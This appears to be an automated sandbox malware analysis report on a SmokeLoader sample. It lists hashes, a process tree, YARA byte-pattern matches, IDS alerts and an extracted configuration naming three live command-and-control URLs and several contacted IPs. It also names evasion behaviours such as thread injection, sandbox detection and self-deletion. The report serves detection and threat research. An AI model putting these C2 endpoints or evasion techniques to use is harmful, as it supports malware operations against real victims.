Edit tour

Windows Analysis Report
BzLGqYKy7o.exe

Overview

General Information

Sample name:	BzLGqYKy7o.exe renamed because original name is a hash value
Original sample name:	d0d4805488e7e745515fff2165d3cc05.exe
Analysis ID:	1528058
MD5:	d0d4805488e7e745515fff2165d3cc05
SHA1:	0cebec529de0430c9e897f740700b27c043a8552
SHA256:	e684bed5b84f09dd85a88a7847fb4aaed9845f9b8098f0dda486a095a3115d4c
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected SmokeLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to read the PEB

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Sigma detected: Execution of Suspicious File Type Extension

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

BzLGqYKy7o.exe (PID: 6480 cmdline: "C:\Users\user\Desktop\BzLGqYKy7o.exe" MD5: D0D4805488E7E745515FFF2165D3CC05)

explorer.exe (PID: 1028 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

B9A0.exe (PID: 6768 cmdline: C:\Users\user\AppData\Local\Temp\B9A0.exe MD5: 0719C6940AABCC832DB40F7EE68A25DC)

teihrdr (PID: 6460 cmdline: C:\Users\user\AppData\Roaming\teihrdr MD5: D0D4805488E7E745515FFF2165D3CC05)

teihrdr (PID: 1992 cmdline: C:\Users\user\AppData\Roaming\teihrdr MD5: D0D4805488E7E745515FFF2165D3CC05)

jtihrdr (PID: 7108 cmdline: C:\Users\user\AppData\Roaming\jtihrdr MD5: 0719C6940AABCC832DB40F7EE68A25DC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://nwgrus.ru/tmp/index.php", "http://tech-servers.in.net/tmp/index.php", "http://unicea.ws/tmp/index.php"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.2780852032.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000008.00000002.2780852032.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x614:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000009.00000003.2830678754.0000000000530000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.2133342006.000000000059E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x121a2:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000004.00000002.2369233302.000000000068D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1296a:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000007.00000002.2645309546.00000000020E1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000007.00000002.2645309546.00000000020E1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000007.00000002.2645014782.0000000001FA0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000004.00000002.2369070542.0000000000610000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.2369070542.0000000000610000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x614:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000009.00000002.2882578584.000000000057D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1231f:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000008.00000002.2780779918.000000000072F000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x124ea:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2132079925.00000000004F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.2132079925.00000000004F0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x614:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000004.00000002.2369106614.0000000000631000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.2369106614.0000000000631000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x214:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000008.00000002.2780906751.00000000020E1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000008.00000002.2780906751.00000000020E1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x214:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000009.00000002.2882405099.0000000000530000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000009.00000002.2882405099.0000000000530000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000009.00000002.2882830547.00000000020D1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000009.00000002.2882830547.00000000020D1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000009.00000002.2882377555.0000000000520000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000008.00000002.2780540702.0000000000700000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2132356094.0000000000561000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.2132356094.0000000000561000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x214:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.2132022634.00000000004E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000004.00000002.2369051681.0000000000600000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000007.00000002.2645253603.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000007.00000002.2645253603.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000007.00000003.2593902376.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000007.00000002.2644866394.000000000058D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x124f7:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author
9.2.jtihrdr.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
9.3.jtihrdr.530000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
7.2.B9A0.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
7.3.B9A0.exe.20c0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
7.2.B9A0.exe.1fa0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
9.2.jtihrdr.520e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\teihrdr, CommandLine: C:\Users\user\AppData\Roaming\teihrdr, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\teihrdr, NewProcessName: C:\Users\user\AppData\Roaming\teihrdr, OriginalFileName: C:\Users\user\AppData\Roaming\teihrdr, ParentCommandLine: , ParentImage: , ParentProcessId: 1068, ProcessCommandLine: C:\Users\user\AppData\Roaming\teihrdr, ProcessId: 6460, ProcessName: teihrdr

Suricata Signatures

ET MALWARE Suspected Smokeloader Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T14:59:24.450425+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49770	105.197.97.247	80	TCP
2024-10-07T14:59:25.374466+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49776	105.197.97.247	80	TCP
2024-10-07T14:59:26.314240+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49782	105.197.97.247	80	TCP
2024-10-07T14:59:27.265046+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49788	105.197.97.247	80	TCP
2024-10-07T14:59:28.193590+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49794	105.197.97.247	80	TCP
2024-10-07T14:59:29.130090+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49804	105.197.97.247	80	TCP
2024-10-07T14:59:30.253391+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49810	105.197.97.247	80	TCP
2024-10-07T14:59:31.176635+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49814	105.197.97.247	80	TCP
2024-10-07T14:59:32.219133+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49822	105.197.97.247	80	TCP
2024-10-07T14:59:33.173977+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49831	105.197.97.247	80	TCP
2024-10-07T14:59:34.105790+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49837	105.197.97.247	80	TCP
2024-10-07T14:59:35.044145+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49844	105.197.97.247	80	TCP
2024-10-07T14:59:35.980167+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49850	105.197.97.247	80	TCP
2024-10-07T14:59:37.313136+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49856	105.197.97.247	80	TCP
2024-10-07T14:59:38.356354+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49867	105.197.97.247	80	TCP
2024-10-07T14:59:39.269702+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49868	105.197.97.247	80	TCP
2024-10-07T14:59:40.231913+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49874	105.197.97.247	80	TCP
2024-10-07T14:59:41.192149+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49885	105.197.97.247	80	TCP
2024-10-07T14:59:42.137608+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49891	105.197.97.247	80	TCP
2024-10-07T14:59:43.085742+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49897	105.197.97.247	80	TCP
2024-10-07T14:59:44.028780+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49903	105.197.97.247	80	TCP
2024-10-07T14:59:44.972761+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49910	105.197.97.247	80	TCP
2024-10-07T14:59:45.907705+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49916	105.197.97.247	80	TCP
2024-10-07T14:59:47.047276+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49922	105.197.97.247	80	TCP
2024-10-07T14:59:49.566919+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49939	105.197.97.247	80	TCP
2024-10-07T14:59:50.521037+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49945	105.197.97.247	80	TCP
2024-10-07T14:59:51.497852+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49952	105.197.97.247	80	TCP
2024-10-07T14:59:52.661203+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49961	105.197.97.247	80	TCP
2024-10-07T14:59:53.588010+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49969	105.197.97.247	80	TCP
2024-10-07T14:59:54.529610+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49975	105.197.97.247	80	TCP
2024-10-07T14:59:56.016097+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49979	105.197.97.247	80	TCP
2024-10-07T14:59:57.166667+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49982	105.197.97.247	80	TCP
2024-10-07T14:59:58.325335+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49993	105.197.97.247	80	TCP
2024-10-07T14:59:59.253273+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49998	105.197.97.247	80	TCP
2024-10-07T15:00:14.419801+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50012	188.40.141.211	443	TCP
2024-10-07T15:00:16.825302+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50013	188.40.141.211	443	TCP
2024-10-07T15:01:05.953100+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50014	105.197.97.247	80	TCP
2024-10-07T15:01:15.348447+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50015	105.197.97.247	80	TCP
2024-10-07T15:01:27.089587+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50016	105.197.97.247	80	TCP
2024-10-07T15:01:32.047885+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50017	188.40.141.211	443	TCP
2024-10-07T15:01:33.047947+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50018	188.40.141.211	443	TCP
2024-10-07T15:01:46.179545+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50019	105.197.97.247	80	TCP
2024-10-07T15:01:54.998397+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50020	188.40.141.211	443	TCP
2024-10-07T15:01:56.212271+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50021	188.40.141.211	443	TCP
2024-10-07T15:02:07.860198+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50022	189.195.132.134	80	TCP
2024-10-07T15:02:16.720307+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50023	188.40.141.211	443	TCP
2024-10-07T15:02:17.696520+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50024	188.40.141.211	443	TCP
2024-10-07T15:02:29.863734+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50025	189.195.132.134	80	TCP
2024-10-07T15:02:39.765694+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50026	188.40.141.211	443	TCP
2024-10-07T15:02:40.760206+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50027	188.40.141.211	443	TCP
2024-10-07T15:02:50.926729+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50028	189.195.132.134	80	TCP
2024-10-07T15:03:02.556191+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50029	188.40.141.211	443	TCP
2024-10-07T15:03:03.522877+0200	2039103	1	A Network Trojan was detected	192.168.2.5	50030	188.40.141.211	443	TCP

ETPRO MALWARE Dridex Post Checkin Activity 3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T15:00:14.715498+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	50012	188.40.141.211	443	TCP
2024-10-07T15:00:18.334781+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	50013	188.40.141.211	443	TCP
2024-10-07T15:01:32.309002+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	50017	188.40.141.211	443	TCP
2024-10-07T15:01:33.325361+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	50018	188.40.141.211	443	TCP
2024-10-07T15:01:55.268074+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	50020	188.40.141.211	443	TCP
2024-10-07T15:01:56.460168+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	50021	188.40.141.211	443	TCP
2024-10-07T15:02:17.024280+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	50023	188.40.141.211	443	TCP
2024-10-07T15:02:18.001733+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	50024	188.40.141.211	443	TCP
2024-10-07T15:02:40.046670+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	50026	188.40.141.211	443	TCP
2024-10-07T15:02:41.069076+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	50027	188.40.141.211	443	TCP
2024-10-07T15:03:02.864372+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	50029	188.40.141.211	443	TCP
2024-10-07T15:03:03.824257+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	50030	188.40.141.211	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: BzLGqYKy7o.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\teihrdr	Avira: detection malicious, Label: HEUR/AGEN.1310247
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Avira: detection malicious, Label: HEUR/AGEN.1310247
Source: C:\Users\user\AppData\Roaming\jtihrdr	Avira: detection malicious, Label: HEUR/AGEN.1310247

Found malware configuration

Source: 00000008.00000002.2780852032.00000000020C0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://nwgrus.ru/tmp/index.php", "http://tech-servers.in.net/tmp/index.php", "http://unicea.ws/tmp/index.php"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\teihrdr

ReversingLabs: Detection: 31%

Multi AV Scanner detection for submitted file

Source: BzLGqYKy7o.exe

ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\teihrdr	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B9A0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\jtihrdr	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: BzLGqYKy7o.exe

Joe Sandbox ML: detected

Source: BzLGqYKy7o.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\BzLGqYKy7o.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 23.145.40.164:443 -> 192.168.2.5:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.40.141.211:443 -> 192.168.2.5:50030 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49804 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49782 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49810 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49814 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49770 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49788 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49822 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49868 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49850 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49776 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49885 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49844 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49903 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49837 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49831 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49856 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49867 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49794 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49897 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49945 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49874 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49952 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49993 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50014 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50028 -> 189.195.132.134:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49982 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50015 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49979 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49969 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50022 -> 189.195.132.134:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50019 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49910 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49916 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50016 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:49975 -> 105.197.97.247:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.5:50025 -> 189.195.132.134:80
